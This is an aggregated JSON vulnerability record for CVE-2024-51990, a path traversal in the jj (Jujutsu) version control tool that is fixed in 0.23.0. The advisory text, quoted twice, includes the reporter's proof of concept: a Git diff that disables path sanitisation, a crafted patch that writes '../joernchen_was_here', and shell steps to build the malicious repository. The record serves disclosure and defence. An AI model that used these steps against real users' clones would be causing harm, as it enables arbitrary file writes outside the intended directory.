{"id":"CVE-2024-51990","aliases":["EUVD-2024-3221","GHSA-88h5-6w7m-5w56","openSUSE-SU-2024:14485-1"],"status":"published","title":"Path traversal via crafted Git repositories in jj","description":"jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause `jj` to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00615,"percentile":0.4976,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2024-11-07T00:15:17Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"crates.io","package":"jj-lib","fixed_in":["0.23.0"],"sources":["ghsa","osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"jujutsu","fixed_in":["0.23.0-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"jj-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.0"}]}]},{"source":"osv","ecosystem":"crates.io","package":"jj-lib","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.23.0"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"jujutsu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.0-1.1"}]}]}],"products":[{"vendor":"martinvonz","product":"jj"}],"references":[{"url":"https://github.com/martinvonz/jj/security/advisories/GHSA-88h5-6w7m-5w56","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51990","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-88h5-6w7m-5w56"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/51xxx/CVE-2024-51990.json","tags":["advisory"]},{"url":"https://github.com/martinvonz/jj","tags":["package"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-51990","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2024-51990","title":"Path traversal via crafted Git repositories in jj","description":"jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause `jj` to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.","status":"published","published":"2024-11-07T00:15:17.443Z","modified":"2024-11-07T16:57:48.274Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:34:01.972857Z"}],"euvd":[{"id":"EUVD-2024-3221","description":"jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause `jj` to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.","status":"published","published":"2024-11-07T00:15:17Z","modified":"2024-11-07T16:57:48Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-03T00:05:08.272544Z"}],"ghsa":[{"id":"GHSA-88h5-6w7m-5w56","title":"jj vulnerable to path traversal via crafted Git repositories","description":"### Impact\n\nSpecially crafted Git repositories can cause `jj` to write files outside the clone.\n\n### Patches\n\nFixed in 0.23.0.\n\n### Workarounds\n\nNot much other than to not clone repositories from untrusted sources.\n\n### References\n\nHere's the original report from @joernchen:\n\n\u003e When cloning a crafted Git repository it is possible to let `jj` write\n\u003e into arbitrary directories. This can be achieved by having file objects\n\u003e which contain path traversals.\n\u003e \n\u003e Reproduction steps:\n\u003e \n\u003e Apply the following patch to Git version v.2.47.0:\n\u003e \n\u003e ```diff\n\u003e diff --git a/path.c b/path.c\n\u003e index 93491bab14..2f47e69fd1 100644\n\u003e --- a/path.c\n\u003e +++ b/path.c\n\u003e @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)\n\u003e \n\u003e  static const char *cleanup_path(const char *path)\n\u003e  {\n\u003e -       /* Clean it up */\n\u003e +       /* Clean it up\n\u003e         if (skip_prefix(path, \"./\", \u0026path)) {\n\u003e                 while (*path == '/')\n\u003e                         path++;\n\u003e -       }\n\u003e +       }*/\n\u003e         return path;\n\u003e  }\n\u003e \n\u003e @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)\n\u003e \n\u003e  int normalize_path_copy(char *dst, const char *src)\n\u003e  {\n\u003e -       return normalize_path_copy_len(dst, src, NULL);\n\u003e +//     return normalize_path_copy_len(dst, src, NULL);\n\u003e +       memcpy(dst, src, strlen(dst));\n\u003e +       return 0;\n\u003e  }\n\u003e \n\u003e  int strbuf_normalize_path(struct strbuf *src)\n\u003e diff --git a/read-cache.c b/read-cache.c\n\u003e index 3c078afadb..2eb44cb26f 100644\n\u003e --- a/read-cache.c\n\u003e +++ b/read-cache.c\n\u003e @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,\n\u003e                                                     unsigned mode)\n\u003e  {\n\u003e         char c = 0;\n\u003e +       return PATH_OK;\n\u003e \n\u003e         if (has_dos_drive_prefix(path))\n\u003e                 return PATH_INVALID;\n\u003e ```\n\u003e \n\u003e With this patched `git` binary we can now apply a crafted\n\u003e patch containing a path traversal to a repository.\n\u003e \n\u003e The patch would look like:\n\u003e \n\u003e ```patch\n\u003e From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001\n\u003e From: joernchen \u003c[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)\u003e\n\u003e Date: Sun, 13 Oct 2024 18:09:50 +0200\n\u003e Subject: [PATCH] z123\n\u003e \n\u003e ---\n\u003e  z | 0\n\u003e  1 file changed, 0 insertions(+), 0 deletions(-)\n\u003e  create mode 100644 z\n\u003e \n\u003e diff --git a/../joernchen_was_here b/../joernchen_was_here\n\u003e new file mode 100644\n\u003e index 0000000..e69de29\n\u003e --\n\u003e 2.46.1\n\u003e ```\n\u003e \n\u003e Note the traversal `../joernchen_was_here` in the patch. This now can be committed to a repository\n\u003e using the modified `git` binary:\n\u003e \n\u003e ```bash\n\u003e mkdir demo\n\u003e cd demo\n\u003e git init\n\u003e ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch\n\u003e rm ../joernchen_was_here # remove the file the modified git wrote\n\u003e ```\n\u003e \n\u003e Now, when cloning that repository with `jj git clone` the path traversal will write above the worktree\n\u003e directory, allowing arbitrary file writes.\n\u003e \n\u003e I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For\n\u003e reproduction it should be sufficient to do `jj git clone demo.git` after unpacking the tarball.\n\u003e \n\u003e The demo repository after being cloned with `jj` will create an empty file `joernchen_was_here` right next\n\u003e to the `demo` directory to demonstrate the traversal.","status":"published","published":"2024-11-07T16:18:44Z","modified":"2024-11-07T16:18:47Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N","level":"critical"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:38:16.477822Z"}],"nvd":[{"id":"CVE-2024-51990","description":"jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause `jj` to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.","status":"published","published":"2024-11-07T01:15:03.497Z","modified":"2026-06-17T08:06:45.517Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:10:36.560164Z"}],"osv":[{"id":"CVE-2024-51990","title":"Path traversal via crafted Git repositories in jj","description":"jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause `jj` to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.","status":"published","published":"2024-11-07T00:15:17.443Z","modified":"2026-10-28T02:31:12.674958127Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:44.032344Z"},{"id":"GHSA-88h5-6w7m-5w56","title":"jj vulnerable to path traversal via crafted Git repositories","description":"### Impact\n\nSpecially crafted Git repositories can cause `jj` to write files outside the clone.\n\n### Patches\n\nFixed in 0.23.0.\n\n### Workarounds\n\nNot much other than to not clone repositories from untrusted sources.\n\n### References\n\nHere's the original report from @joernchen:\n\n\u003e When cloning a crafted Git repository it is possible to let `jj` write\n\u003e into arbitrary directories. This can be achieved by having file objects\n\u003e which contain path traversals.\n\u003e \n\u003e Reproduction steps:\n\u003e \n\u003e Apply the following patch to Git version v.2.47.0:\n\u003e \n\u003e ```diff\n\u003e diff --git a/path.c b/path.c\n\u003e index 93491bab14..2f47e69fd1 100644\n\u003e --- a/path.c\n\u003e +++ b/path.c\n\u003e @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)\n\u003e \n\u003e  static const char *cleanup_path(const char *path)\n\u003e  {\n\u003e -       /* Clean it up */\n\u003e +       /* Clean it up\n\u003e         if (skip_prefix(path, \"./\", \u0026path)) {\n\u003e                 while (*path == '/')\n\u003e                         path++;\n\u003e -       }\n\u003e +       }*/\n\u003e         return path;\n\u003e  }\n\u003e \n\u003e @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)\n\u003e \n\u003e  int normalize_path_copy(char *dst, const char *src)\n\u003e  {\n\u003e -       return normalize_path_copy_len(dst, src, NULL);\n\u003e +//     return normalize_path_copy_len(dst, src, NULL);\n\u003e +       memcpy(dst, src, strlen(dst));\n\u003e +       return 0;\n\u003e  }\n\u003e \n\u003e  int strbuf_normalize_path(struct strbuf *src)\n\u003e diff --git a/read-cache.c b/read-cache.c\n\u003e index 3c078afadb..2eb44cb26f 100644\n\u003e --- a/read-cache.c\n\u003e +++ b/read-cache.c\n\u003e @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,\n\u003e                                                     unsigned mode)\n\u003e  {\n\u003e         char c = 0;\n\u003e +       return PATH_OK;\n\u003e \n\u003e         if (has_dos_drive_prefix(path))\n\u003e                 return PATH_INVALID;\n\u003e ```\n\u003e \n\u003e With this patched `git` binary we can now apply a crafted\n\u003e patch containing a path traversal to a repository.\n\u003e \n\u003e The patch would look like:\n\u003e \n\u003e ```patch\n\u003e From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001\n\u003e From: joernchen \u003c[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)\u003e\n\u003e Date: Sun, 13 Oct 2024 18:09:50 +0200\n\u003e Subject: [PATCH] z123\n\u003e \n\u003e ---\n\u003e  z | 0\n\u003e  1 file changed, 0 insertions(+), 0 deletions(-)\n\u003e  create mode 100644 z\n\u003e \n\u003e diff --git a/../joernchen_was_here b/../joernchen_was_here\n\u003e new file mode 100644\n\u003e index 0000000..e69de29\n\u003e --\n\u003e 2.46.1\n\u003e ```\n\u003e \n\u003e Note the traversal `../joernchen_was_here` in the patch. This now can be committed to a repository\n\u003e using the modified `git` binary:\n\u003e \n\u003e ```bash\n\u003e mkdir demo\n\u003e cd demo\n\u003e git init\n\u003e ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch\n\u003e rm ../joernchen_was_here # remove the file the modified git wrote\n\u003e ```\n\u003e \n\u003e Now, when cloning that repository with `jj git clone` the path traversal will write above the worktree\n\u003e directory, allowing arbitrary file writes.\n\u003e \n\u003e I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For\n\u003e reproduction it should be sufficient to do `jj git clone demo.git` after unpacking the tarball.\n\u003e \n\u003e The demo repository after being cloned with `jj` will create an empty file `joernchen_was_here` right next\n\u003e to the `demo` directory to demonstrate the traversal.","status":"published","published":"2024-11-07T16:18:44Z","modified":"2024-11-07T16:42:40.808881Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"},{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"openSUSE-SU-2024:14485-1","title":"jujutsu-0.23.0-1.1 on GA media","description":"These are all security issues fixed in the jujutsu-0.23.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-11-12T00:00:00Z","modified":"2026-02-04T02:26:30.413587Z","updated_at":"2026-11-02T16:58:36.976155Z"}]}}
